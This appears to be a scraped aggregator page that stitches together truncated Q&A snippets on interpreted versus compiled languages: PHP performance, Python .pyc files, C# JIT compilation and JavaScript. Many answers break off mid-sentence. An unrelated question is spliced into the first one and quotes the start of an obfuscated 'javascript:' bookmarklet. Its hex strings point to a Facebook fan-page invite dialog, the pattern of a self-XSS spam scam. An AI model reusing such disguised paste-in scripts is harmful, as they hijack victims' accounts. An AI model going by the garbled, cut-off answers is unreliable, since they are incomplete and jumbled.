Interpreted vs. Compiled Languages for Web Sites (PHP, ASP, Perl, Python, etc.)

问题 I build database-driven web sites. Previously I have used Perl or PHP with MySQL. Now I am starting a big new project, and I want to do it in the way that will result in the most responsive possible site . I have seen several pages here where questions about how to optimize PHP are criticized with various versions of "it's not worth going to great lengths to optimize PHP since it's an interpreted language and it won't make that much difference". I have also heard various discussions

Note that I am not experienced with Javascript. If a javascript code starts like this: javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e

Way to have compiled python files in a separate folder?

Is it possible to have Python save the .pyc files to a separate folder location that is in sys.path ? /code foo.py foo.pyc bar.py bar.pyc To: /code foo.py bar.py /code_compiled foo.pyc bar.pyc I would like this because I feel it'd be more organized. Thanks for any help you can give me. There is PEP 304: Controlling Generation of Bytecode Files . Its status is Withdrawn and corresponding patch rejected. Therefore there might be no direct way to do it. If you don't need source code then you may just delete *.py files. *.pyc files can be used as is or packed in an egg. In the dark and ancient

Is C# partially interpreted or really compiled?

强颜欢笑 提交于 2019-11-28 16:03:17
There is a lot of contradicting information about this. While some say C# is compiled (as it is compiled into IL and then to native code when run), others say it's interpreted as it needs .NET. EN Wiki says: Many interpreted languages are first compiled to some form of virtual machine code, which is then either interpreted or compiled at runtime to native code. So I'm quite confused. Could anyone explain this clearly? C# is compiled into IL, by the c# compiler. This IL is then compiled just-in-time (JIT) as it's needed, into the native assembly language of the host machine. It would be

Is Javascript compiled or an interpreted language? [closed]

半世苍凉 提交于 2019-11-28 15:26:26
Can Javascript be called a pure interpreted language? Or does it also have some compiled flavor to it? Could someone guide at the reasons behind both the things whichever being true. Matt Esch Go and read the answers to this question https://softwareengineering.stackexchange.com/questions/138521/is-javascript-interpreted-by-design The answer I accepted is excellent and should help answer your question. For me personally, I am somewhat cautious of the idea of calling a language interpreted or compiled. It's an implementation decision, not part of the language specification. If you want to talk

How can I use C++ code to interact with PHP?

I was reading somewhere that sometimes PHP is simply not fast enough and that compiled code has to sometimes "do the heavy lifting" What is the api in C++ to do this? Pascal MARTIN You can add functions/classes to PHP, programmed in C (and you can wrap a C++ class from C, if I remember correctly from an article I read some time ago) , which might allow you to do some things faster -- if programmed well : no need for interpretation of PHP code ; only execution of machine code, which is generally way faster. To do that, you'll have to develop a PHP extension . There are not that many resources

Is it possible to decompile a compiled .pyc file into a .py file?

问题 Is it possible to get some information out of the .pyc file that is generated from a .py file? 回答1: Uncompyle6 works for Python 3.x and 2.7 - recommended option as it's most recent tool, aiming to unify earlier forks and focusing on automated testing. The GitHub page has more details. The older Uncompyle2 supports Python 2.7 only. This worked well for me some time ago to decompile the .pyc bytecode into .py, whereas unpyclib crashed with an exception. 回答2: Yes, you can get it with unpyclib

If Python is interpreted, what are .pyc files?

问题 I\'ve been given to understand that Python is an interpreted language... However, when I look at my Python source code I see .pyc files, which Windows identifies as \"Compiled Python Files\". Where do these come in? 回答1: They contain byte code, which is what the Python interpreter compiles the source to. This code is then executed by Python's virtual machine. Python's documentation explains the definition like this: Python is an interpreted language, as opposed to a compiled one, though the
